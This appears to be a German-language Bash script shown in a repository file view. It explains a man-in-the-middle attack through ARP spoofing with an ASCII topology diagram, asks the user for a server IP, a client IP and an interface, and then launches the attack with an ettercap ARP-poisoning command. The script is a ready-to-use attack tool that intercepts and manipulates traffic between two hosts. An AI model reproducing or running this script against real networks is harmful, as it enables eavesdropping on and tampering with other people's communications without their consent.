Files
2026-04-17 09:01:34 -05:00

62 lines
1.7 KiB
Bash
Executable File

#!/bin/bash
function ladebalken() {
echo -n "Ladevorgang: ["
# Ladebalken-Schritte mit 10%
for i in {1..10}; do
echo -n "#"
sleep 0.5 # Pausiert 0.5 Sekunden zwischen jedem Schritt
done
echo "] 100% Fertig!"
}
# Titel anzeigen
echo "------------------------"
echo " MITM Attacke - Aufbau "
echo "------------------------"
# ASCII-Grafik für eine MITM-Topologie
echo "
+-----------------------+
| Server |
| IP: XXX.XXX.XXX.XXX |
+-----------------------+
|
|
|
+-----------------------+
| Angreifer |
| IP: XXX.XXX.XXX.XXX |
+-----------------------+
|
|
|
+-----------------------+
| Client |
| IP: XXX.XXX.XXX.XXX |
+-----------------------+
"
# Kurze Erklärung zum Ablauf einer MITM-Attacke
echo "Ablauf der MITM-Attacke:"
echo "1. Der Client möchte eine Verbindung zum Server (XXX.XXX.XXX.XXX) herstellen."
echo "2. Der Angreifer (XXX.XXX.XXX.XXX) positioniert sich zwischen Client und Server."
echo "3. Durch ARP-Spoofing täuscht der Angreifer vor, der Server zu sein."
echo "4. Der gesamte Datenverkehr wird über den Angreifer geleitet."
echo "5. Der Angreifer kann nun Kommunikation abhören und manipulieren."
echo ""
read -p "Server IP: " Router
read -p "Client IP: " Target
read -p "Interface: " interface
echo ""
ladebalken
sudo ettercap -T -S -i $interface -M arp:remote /$Router// /$Target//